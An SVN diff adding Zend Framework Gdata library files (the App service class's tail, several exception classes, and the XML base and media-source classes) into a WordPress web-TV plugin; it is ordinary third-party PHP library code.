+     * shorter syntax than would otherwise be required by the Zend Framework
+     * naming conventions.  For instance, to construct a new
+     * Zend_Gdata_Calendar_Extension_Color, a developer simply needs to do
+     * $gCal->newColor().  For this magic constructor, packages are searched
+     * in the same order as which they appear in the $_registeredPackages
+     * array
+     *
+     * @param string $method The method name being called
+     * @param array $args The arguments passed to the call
+     * @throws Zend_Gdata_App_Exception
+     */
+    public function __call($method, $args)
+    {
+        if (preg_match('/^new(\w+)/', $method, $matches)) {
+            $class = $matches[1];
+            $foundClassName = null;
+            foreach ($this->_registeredPackages as $name) {
+                 try {
+                     @Zend_Loader::loadClass("${name}_${class}");
+                     $foundClassName = "${name}_${class}";
+                     break;
+                 } catch (Zend_Exception $e) {
+                     // package wasn't here- continue searching
+                 }
+            }
+            if ($foundClassName != null) {
+                $reflectionObj = new ReflectionClass($foundClassName);
+                $instance = $reflectionObj->newInstanceArgs($args);
+                if ($instance instanceof Zend_Gdata_App_FeedEntryParent) {
+                    $instance->setHttpClient($this->_httpClient);
+
+                    // Propogate version data
+                    $instance->setMajorProtocolVersion(
+                            $this->_majorProtocolVersion);
+                    $instance->setMinorProtocolVersion(
+                            $this->_minorProtocolVersion);
+                }
+                return $instance;
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception(
+                        "Unable to find '${class}' in registered packages");
+            }
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception("No such method ${method}");
+        }
+    }
+
+    /**
+     * Retrieve all entries for a feed, iterating through pages as necessary.
+     * Be aware that calling this function on a large dataset will take a
+     * significant amount of time to complete. In some cases this may cause
+     * execution to timeout without proper precautions in place.
+     *
+     * @param $feed The feed to iterate through.
+     * @return mixed A new feed of the same type as the one originally
+     *          passed in, containing all relevent entries.
+     */
+    public function retrieveAllEntriesForFeed($feed) {
+        $feedClass = get_class($feed);
+        $reflectionObj = new ReflectionClass($feedClass);
+        $result = $reflectionObj->newInstance();
+        do {
+            foreach ($feed as $entry) {
+                $result->addEntry($entry);
+            }
+
+            $next = $feed->getLink('next');
+            if ($next !== null) {
+                $feed = $this->getFeed($next->href, $feedClass);
+            } else {
+                $feed = null;
+            }
+        }
+        while ($feed != null);
+        return $result;
+    }
+
+    /**
+     * This method enables logging of requests by changing the
+     * Zend_Http_Client_Adapter used for performing the requests.
+     * NOTE: This will not work if you have customized the adapter
+     * already to use a proxy server or other interface.
+     *
+     * @param $logfile The logfile to use when logging the requests
+     */
+    public function enableRequestDebugLogging($logfile)
+    {
+        $this->_httpClient->setConfig(array(
+            'adapter' => 'Zend_Gdata_App_LoggingHttpClientAdapterSocket',
+            'logfile' => $logfile
+            ));
+    }
+
+    /**
+     * Retrieve next set of results based on a given feed.
+     *
+     * @param Zend_Gdata_App_Feed $feed The feed from which to
+     *          retreive the next set of results.
+     * @param string $className (optional) The class of feed to be returned.
+     *          If null, the next feed (if found) will be the same class as
+     *          the feed that was given as the first argument.
+     * @return Zend_Gdata_App_Feed|null Returns a
+     *          Zend_Gdata_App_Feed or null if no next set of results
+     *          exists.
+     */
+    public function getNextFeed($feed, $className = null)
+    {
+        $nextLink = $feed->getNextLink();
+        if (!$nextLink) {
+            return null;
+        }
+        $nextLinkHref = $nextLink->getHref();
+
+        if ($className === null) {
+            $className = get_class($feed);
+        }
+
+        return $this->getFeed($nextLinkHref, $className);
+    }
+
+    /**
+     * Retrieve previous set of results based on a given feed.
+     *
+     * @param Zend_Gdata_App_Feed $feed The feed from which to
+     *          retreive the previous set of results.
+     * @param string $className (optional) The class of feed to be returned.
+     *          If null, the previous feed (if found) will be the same class as
+     *          the feed that was given as the first argument.
+     * @return Zend_Gdata_App_Feed|null Returns a
+     *          Zend_Gdata_App_Feed or null if no previous set of results
+     *          exists.
+     */
+    public function getPreviousFeed($feed, $className = null)
+    {
+        $previousLink = $feed->getPreviousLink();
+        if (!$previousLink) {
+            return null;
+        }
+        $previousLinkHref = $previousLink->getHref();
+
+        if ($className === null) {
+            $className = get_class($feed);
+        }
+
+        return $this->getFeed($previousLinkHref, $className);
+    }
+
+    /**
+     * Returns the data for an If-Match header based on the current Etag
+     * property. If Etags are not supported by the server or cannot be
+     * extracted from the data, then null will be returned.
+     *
+     * @param boolean $allowWeak If false, then if a weak Etag is detected,
+     *        then return null rather than the Etag.
+     * @return string|null $data
+     */
+    public function generateIfMatchHeaderData($data, $allowWeek)
+    {
+        $result = '';
+        // Set an If-Match header if an ETag has been set (version >= 2 only)
+        if ($this->_majorProtocolVersion >= 2 &&
+                $data instanceof Zend_Gdata_App_Entry) {
+            $etag = $data->getEtag();
+            if (($etag !== null) &&
+                    ($allowWeek || substr($etag, 0, 2) != 'W/')) {
+                $result = $data->getEtag();
+            }
+        }
+        return $result;
+    }
+
+    /**
+     * Determine whether service object is using XML to object mapping.
+     *
+     * @return boolean True if service object is using XML to object mapping,
+     *                 false otherwise.
+     */
+    public function usingObjectMapping()
+    {
+        return $this->_useObjectMapping;
+    }
+
+    /**
+     * Enable/disable the use of XML to object mapping.
+     *
+     * @param boolean $value Pass in true to use the XML to object mapping.
+     *                       Pass in false or null to disable it.
+     * @return void
+     */
+    public function useObjectMapping($value)
+    {
+        if ($value === True) {
+            $this->_useObjectMapping = true;
+        } else {
+            $this->_useObjectMapping = false;
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/AuthException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/AuthException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/AuthException.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Exception
+ */
+require_once 'Zend/Gdata/App/Exception.php';
+
+/**
+ * Gdata exceptions
+ *
+ * Class to represent exceptions that occur during Gdata operations.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_AuthException extends Zend_Gdata_App_Exception
+{
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/BadMethodCallException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/BadMethodCallException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/BadMethodCallException.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_Exception
+ */
+require_once 'Zend/Gdata/App/Exception.php';
+
+/**
+ * Gdata APP exceptions
+ *
+ * Class to represent exceptions that occur during Gdata APP operations.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_BadMethodCallException extends Zend_Gdata_App_Exception
+{
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Base.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Base.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/Base.php	(revision 44)
@@ -0,0 +1,571 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Util
+ */
+require_once 'Zend/Gdata/App/Util.php';
+
+/**
+ * Abstract class for all XML elements
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Gdata_App_Base
+{
+
+    /**
+     * @var string The XML element name, including prefix if desired
+     */
+    protected $_rootElement = null;
+
+    /**
+     * @var string The XML namespace prefix
+     */
+    protected $_rootNamespace = 'atom';
+
+    /**
+     * @var string The XML namespace URI - takes precedence over lookup up the
+     * corresponding URI for $_rootNamespace
+     */
+    protected $_rootNamespaceURI = null;
+
+    /**
+     * @var array Leftover elements which were not handled
+     */
+    protected $_extensionElements = array();
+
+    /**
+     * @var array Leftover attributes which were not handled
+     */
+    protected $_extensionAttributes = array();
+
+    /**
+     * @var string XML child text node content
+     */
+    protected $_text = null;
+
+    /**
+     * @var array Memoized results from calls to lookupNamespace() to avoid
+     *      expensive calls to getGreatestBoundedValue(). The key is in the
+     *      form 'prefix-majorVersion-minorVersion', and the value is the
+     *      output from getGreatestBoundedValue().
+     */
+    protected static $_namespaceLookupCache = array();
+
+    /**
+     * List of namespaces, as a three-dimensional array. The first dimension
+     * represents the namespace prefix, the second dimension represents the
+     * minimum major protocol version, and the third dimension is the minimum
+     * minor protocol version. Null keys are NOT allowed.
+     *
+     * When looking up a namespace for a given prefix, the greatest version
+     * number (both major and minor) which is less than the effective version
+     * should be used.
+     *
+     * @see lookupNamespace()
+     * @see registerNamespace()
+     * @see registerAllNamespaces()
+     * @var array
+     */
+   protected $_namespaces = array(
+        'atom'      => array(
+            1 => array(
+                0 => 'http://www.w3.org/2005/Atom'
+                )
+            ),
+        'app'       => array(
+            1 => array(
+                0 => 'http://purl.org/atom/app#'
+                ),
+            2 => array(
+                0 => 'http://www.w3.org/2007/app'
+                )
+            )
+        );
+
+    public function __construct()
+    {
+    }
+
+    /**
+     * Returns the child text node of this element
+     * This represents any raw text contained within the XML element
+     *
+     * @return string Child text node
+     */
+    public function getText($trim = true)
+    {
+        if ($trim) {
+            return trim($this->_text);
+        } else {
+            return $this->_text;
+        }
+    }
+
+    /**
+     * Sets the child text node of this element
+     * This represents any raw text contained within the XML element
+     *
+     * @param string $value Child text node
+     * @return Zend_Gdata_App_Base Returns an object of the same type as 'this' to provide a fluent interface.
+     */
+    public function setText($value)
+    {
+        $this->_text = $value;
+        return $this;
+    }
+
+    /**
+     * Returns an array of all elements not matched to data model classes
+     * during the parsing of the XML
+     *
+     * @return array All elements not matched to data model classes during parsing
+     */
+    public function getExtensionElements()
+    {
+        return $this->_extensionElements;
+    }
+
+    /**
+     * Sets an array of all elements not matched to data model classes
+     * during the parsing of the XML.  This method can be used to add arbitrary
+     * child XML elements to any data model class.
+     *
+     * @param array $value All extension elements
+     * @return Zend_Gdata_App_Base Returns an object of the same type as 'this' to provide a fluent interface.
+     */
+    public function setExtensionElements($value)
+    {
+        $this->_extensionElements = $value;
+        return $this;
+    }
+
+    /**
+     * Returns an array of all extension attributes not transformed into data
+     * model properties during parsing of the XML.  Each element of the array
+     * is a hashed array of the format:
+     *     array('namespaceUri' => string, 'name' => string, 'value' => string);
+     *
+     * @return array All extension attributes
+     */
+    public function getExtensionAttributes()
+    {
+        return $this->_extensionAttributes;
+    }
+
+    /**
+     * Sets an array of all extension attributes not transformed into data
+     * model properties during parsing of the XML.  Each element of the array
+     * is a hashed array of the format:
+     *     array('namespaceUri' => string, 'name' => string, 'value' => string);
+     * This can be used to add arbitrary attributes to any data model element
+     *
+     * @param array $value All extension attributes
+     * @return Zend_Gdata_App_Base Returns an object of the same type as 'this' to provide a fluent interface.
+     */
+    public function setExtensionAttributes($value)
+    {
+        $this->_extensionAttributes = $value;
+        return $this;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        if ($doc === null) {
+            $doc = new DOMDocument('1.0', 'utf-8');
+        }
+        if ($this->_rootNamespaceURI != null) {
+            $element = $doc->createElementNS($this->_rootNamespaceURI, $this->_rootElement);
+        } elseif ($this->_rootNamespace !== null) {
+            if (strpos($this->_rootElement, ':') === false) {
+                $elementName = $this->_rootNamespace . ':' . $this->_rootElement;
+            } else {
+                $elementName = $this->_rootElement;
+            }
+            $element = $doc->createElementNS($this->lookupNamespace($this->_rootNamespace), $elementName);
+        } else {
+            $element = $doc->createElement($this->_rootElement);
+        }
+        if ($this->_text != null) {
+            $element->appendChild($element->ownerDocument->createTextNode($this->_text));
+        }
+        foreach ($this->_extensionElements as $extensionElement) {
+            $element->appendChild($extensionElement->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_extensionAttributes as $attribute) {
+            $element->setAttribute($attribute['name'], $attribute['value']);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a child DOMNode, tries to determine how to map the data into
+     * object instance members.  If no mapping is defined, Extension_Element
+     * objects are created and stored in an array.
+     *
+     * @param DOMNode $child The DOMNode needed to be handled
+     */
+    protected function takeChildFromDOM($child)
+    {
+        if ($child->nodeType == XML_TEXT_NODE) {
+            $this->_text = $child->nodeValue;
+        } else {
+            $extensionElement = new Zend_Gdata_App_Extension_Element();
+            $extensionElement->transferFromDOM($child);
+            $this->_extensionElements[] = $extensionElement;
+        }
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        $arrayIndex = ($attribute->namespaceURI != '')?(
+                $attribute->namespaceURI . ':' . $attribute->name):
+                $attribute->name;
+        $this->_extensionAttributes[$arrayIndex] =
+                array('namespaceUri' => $attribute->namespaceURI,
+                      'name' => $attribute->localName,
+                      'value' => $attribute->nodeValue);
+    }
+
+    /**
+     * Transfers each child and attribute into member variables.
+     * This is called when XML is received over the wire and the data
+     * model needs to be built to represent this XML.
+     *
+     * @param DOMNode $node The DOMNode that represents this object's data
+     */
+    public function transferFromDOM($node)
+    {
+        foreach ($node->childNodes as $child) {
+            $this->takeChildFromDOM($child);
+        }
+        foreach ($node->attributes as $attribute) {
+            $this->takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Parses the provided XML text and generates data model classes for
+     * each know element by turning the XML text into a DOM tree and calling
+     * transferFromDOM($element).  The first data model element with the same
+     * name as $this->_rootElement is used and the child elements are
+     * recursively parsed.
+     *
+     * @param string $xml The XML text to parse
+     */
+    public function transferFromXML($xml)
+    {
+        if ($xml) {
+            // Load the feed as an XML DOMDocument object
+            @ini_set('track_errors', 1);
+            $doc = new DOMDocument();
+            $success = @$doc->loadXML($xml);
+            @ini_restore('track_errors');
+            if (!$success) {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception("DOMDocument cannot parse XML: $php_errormsg");
+            }
+            $element = $doc->getElementsByTagName($this->_rootElement)->item(0);
+            if (!$element) {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception('No root <' . $this->_rootElement . '> element');
+            }
+            $this->transferFromDOM($element);
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception('XML passed to transferFromXML cannot be null');
+        }
+    }
+
+    /**
+     * Converts this element and all children into XML text using getDOM()
+     *
+     * @return string XML content
+     */
+    public function saveXML()
+    {
+        $element = $this->getDOM();
+        return $element->ownerDocument->saveXML($element);
+    }
+
+    /**
+     * Alias for saveXML() returns XML content for this element and all
+     * children
+     *
+     * @return string XML content
+     */
+    public function getXML()
+    {
+        return $this->saveXML();
+    }
+
+    /**
+     * Alias for saveXML()
+     *
+     * Can be overridden by children to provide more complex representations
+     * of entries.
+     *
+     * @return string Encoded string content
+     */
+    public function encode()
+    {
+        return $this->saveXML();
+    }
+
+    /**
+     * Get the full version of a namespace prefix
+     *
+     * Looks up a prefix (atom:, etc.) in the list of registered
+     * namespaces and returns the full namespace URI if
+     * available. Returns the prefix, unmodified, if it's not
+     * registered.
+     *
+     * @param string $prefix The namespace prefix to lookup.
+     * @param integer $majorVersion The major protocol version in effect.
+     *        Defaults to '1'.
+     * @param integer $minorVersion The minor protocol version in effect.
+     *        Defaults to null (use latest).
+     * @return string
+     */
+    public function lookupNamespace($prefix,
+                                    $majorVersion = 1,
+                                    $minorVersion = null)
+    {
+        // Check for a memoized result
+        $key = $prefix . ' ' .
+               (is_null($majorVersion) ? 'NULL' : $majorVersion) .
+               ' '. (is_null($minorVersion) ? 'NULL' : $minorVersion);
+        if (array_key_exists($key, self::$_namespaceLookupCache))
+          return self::$_namespaceLookupCache[$key];
+        // If no match, return the prefix by default
+        $result = $prefix;
+
+        // Find tuple of keys that correspond to the namespace we should use
+        if (isset($this->_namespaces[$prefix])) {
+            // Major version search
+            $nsData = $this->_namespaces[$prefix];
+            $foundMajorV = Zend_Gdata_App_Util::findGreatestBoundedValue(
+                    $majorVersion, $nsData);
+            // Minor version search
+            $nsData = $nsData[$foundMajorV];
+            $foundMinorV = Zend_Gdata_App_Util::findGreatestBoundedValue(
+                    $minorVersion, $nsData);
+            // Extract NS
+            $result = $nsData[$foundMinorV];
+        }
+
+        // Memoize result
+        self::$_namespaceLookupCache[$key] = $result;
+
+        return $result;
+    }
+
+    /**
+     * Add a namespace and prefix to the registered list
+     *
+     * Takes a prefix and a full namespace URI and adds them to the
+     * list of registered namespaces for use by
+     * $this->lookupNamespace().
+     *
+     * WARNING: Currently, registering a namespace will NOT invalidate any
+     *          memoized data stored in $_namespaceLookupCache. Under normal
+     *          use, this behavior is acceptable. If you are adding
+     *          contradictory data to the namespace lookup table, you must
+     *          call flushNamespaceLookupCache().
+     *
+     * @param  string $prefix The namespace prefix
+     * @param  string $namespaceUri The full namespace URI
+     * @param integer $majorVersion The major protocol version in effect.
+     *        Defaults to '1'.
+     * @param integer $minorVersion The minor protocol version in effect.
+     *        Defaults to null (use latest).
+     * @return void
+     */
+    public function registerNamespace($prefix,
+                                      $namespaceUri,
+                                      $majorVersion = 1,
+                                      $minorVersion = 0)
+    {
+        $this->_namespaces[$prefix][$majorVersion][$minorVersion] =
+        $namespaceUri;
+    }
+
+    /**
+     * Flush namespace lookup cache.
+     *
+     * Empties the namespace lookup cache. Call this function if you have
+     * added data to the namespace lookup table that contradicts values that
+     * may have been cached during a previous call to lookupNamespace().
+     */
+    public static function flushNamespaceLookupCache()
+    {
+        self::$_namespaceLookupCache = array();
+    }
+
+    /**
+     * Add an array of namespaces to the registered list.
+     *
+     * Takes an array in the format of:
+     * namespace prefix, namespace URI, major protocol version,
+     * minor protocol version and adds them with calls to ->registerNamespace()
+     *
+     * @param array $namespaceArray An array of namespaces.
+     * @return void
+     */
+    public function registerAllNamespaces($namespaceArray)
+    {
+        foreach($namespaceArray as $namespace) {
+                $this->registerNamespace(
+                    $namespace[0], $namespace[1], $namespace[2], $namespace[3]);
+        }
+    }
+
+
+    /**
+     * Magic getter to allow access like $entry->foo to call $entry->getFoo()
+     * Alternatively, if no getFoo() is defined, but a $_foo protected variable
+     * is defined, this is returned.
+     *
+     * TODO Remove ability to bypass getFoo() methods??
+     *
+     * @param string $name The variable name sought
+     */
+    public function __get($name)
+    {
+        $method = 'get'.ucfirst($name);
+        if (method_exists($this, $method)) {
+            return call_user_func(array(&$this, $method));
+        } else if (property_exists($this, "_${name}")) {
+            return $this->{'_' . $name};
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Property ' . $name . ' does not exist');
+        }
+    }
+
+    /**
+     * Magic setter to allow acces like $entry->foo='bar' to call
+     * $entry->setFoo('bar') automatically.
+     *
+     * Alternatively, if no setFoo() is defined, but a $_foo protected variable
+     * is defined, this is returned.
+     *
+     * TODO Remove ability to bypass getFoo() methods??
+     *
+     * @param string $name
+     * @param string $value
+     */
+    public function __set($name, $val)
+    {
+        $method = 'set'.ucfirst($name);
+        if (method_exists($this, $method)) {
+            return call_user_func(array(&$this, $method), $val);
+        } else if (isset($this->{'_' . $name}) || ($this->{'_' . $name} === null)) {
+            $this->{'_' . $name} = $val;
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Property ' . $name . '  does not exist');
+        }
+    }
+
+    /**
+     * Magic __isset method
+     *
+     * @param string $name
+     */
+    public function __isset($name)
+    {
+        $rc = new ReflectionClass(get_class($this));
+        $privName = '_' . $name;
+        if (!($rc->hasProperty($privName))) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Property ' . $name . ' does not exist');
+        } else {
+            if (isset($this->{$privName})) {
+                if (is_array($this->{$privName})) {
+                    if (count($this->{$privName}) > 0) {
+                        return true;
+                    } else {
+                        return false;
+                    }
+                } else {
+                    return true;
+                }
+            } else {
+                return false;
+            }
+        }
+    }
+
+    /**
+     * Magic __unset method
+     *
+     * @param string $name
+     */
+    public function __unset($name)
+    {
+        if (isset($this->{'_' . $name})) {
+            if (is_array($this->{'_' . $name})) {
+                $this->{'_' . $name} = array();
+            } else {
+                $this->{'_' . $name} = null;
+            }
+        }
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     *
+     * @return string The text representation of this object
+     */
+    public function __toString()
+    {
+        return $this->getText();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/BaseMediaSource.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/BaseMediaSource.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/BaseMediaSource.php	(revision 44)
@@ -0,0 +1,178 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_MediaSource
+ */
+require_once 'Zend/Gdata/App/MediaSource.php';
+
+/**
+ * Concrete class to use a file handle as an attachment within a MediaEntry.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+abstract class Zend_Gdata_App_BaseMediaSource implements Zend_Gdata_App_MediaSource
+{
+
+    /**
+     * The content type for the attached file (example image/png)
+     *
+     * @var string
+     */
+    protected $_contentType = null;
+
+    /**
+     * The slug header value representing the attached file title, or null if
+     * no slug should be used.  The slug header is only necessary in some cases,
+     * usually when a multipart upload is not being performed.
+     *
+     * @var string
+     */
+    protected $_slug = null;
+
+    /**
+     * The content type for the attached file (example image/png)
+     *
+     * @return string The content type
+     */
+    public function getContentType()
+    {
+        return $this->_contentType;
+    }
+
+    /**
+     * Set the content type for the file attached (example image/png)
+     *
+     * @param string $value The content type
+     * @return Zend_Gdata_App_MediaFileSource Provides a fluent interface
+     */
+    public function setContentType($value)
+    {
+        $this->_contentType = $value;
+        return $this;
+    }
+
+    /**
+     * Returns the Slug header value.  Used by some services to determine the
+     * title for the uploaded file.  Returns null if no slug should be used.
+     *
+     * @return string
+     */
+    public function getSlug(){
+        return $this->_slug;
+    }
+
+    /**
+     * Sets the Slug header value.  Used by some services to determine the
+     * title for the uploaded file.  A null value indicates no slug header.
+     *
+     * @var string The slug value
+     * @return Zend_Gdata_App_MediaSource Provides a fluent interface
+     */
+    public function setSlug($value){
+        $this->_slug = $value;
+        return $this;
+    }
+
+
+    /**
+     * Magic getter to allow acces like $source->foo to call $source->getFoo()
+     * Alternatively, if no getFoo() is defined, but a $_foo protected variable
+     * is defined, this is returned.
+     *
+     * TODO Remove ability to bypass getFoo() methods??
+     *
+     * @param string $name The variable name sought
+     */
+    public function __get($name)
+    {
+        $method = 'get'.ucfirst($name);
+        if (method_exists($this, $method)) {
+            return call_user_func(array(&$this, $method));
+        } else if (property_exists($this, "_${name}")) {
+            return $this->{'_' . $name};
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Property ' . $name . ' does not exist');
+        }
+    }
+
+    /**
+     * Magic setter to allow acces like $source->foo='bar' to call
+     * $source->setFoo('bar') automatically.
+     *
+     * Alternatively, if no setFoo() is defined, but a $_foo protected variable
+     * is defined, this is returned.
+     *
+     * @param string $name
+     * @param string $value
+     */
+    public function __set($name, $val)
+    {
+        $method = 'set'.ucfirst($name);
+        if (method_exists($this, $method)) {
+            return call_user_func(array(&$this, $method), $val);
+        } else if (isset($this->{'_' . $name}) || ($this->{'_' . $name} === null)) {
+            $this->{'_' . $name} = $val;
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Property ' . $name . '  does not exist');
+        }
+    }
+
+    /**
+     * Magic __isset method
+     *
+     * @param string $name
+     */
+    public function __isset($name)
+    {
+        $rc = new ReflectionClass(get_class($this));
+        $privName = '_' . $name;
+        if (!($rc->hasProperty($privName))) {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Property ' . $name . ' does not exist');
+        } else {
+            if (isset($this->{$privName})) {
+                if (is_array($this->{$privName})) {
+                    if (count($this->{$privName}) > 0) {
+                        return true;
+                    } else {
+                        return false;
+                    }
+                } else {
+                    return true;
+                }
+            } else {
+                return false;
+            }
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/CaptchaRequiredException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/CaptchaRequiredException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/CaptchaRequiredException.php	(revision 44)
@@ -0,0 +1,93 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_CaptchaRequiredException
+ */
+require_once 'Zend/Gdata/App/AuthException.php';
+
+/**
+ * Gdata exceptions
+ *
+ * Class to represent an exception that occurs during the use of ClientLogin.
+ * This particular exception happens when a CAPTCHA challenge is issued. This
+ * challenge is a visual puzzle presented to the user to prove that they are
+ * not an automated system.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
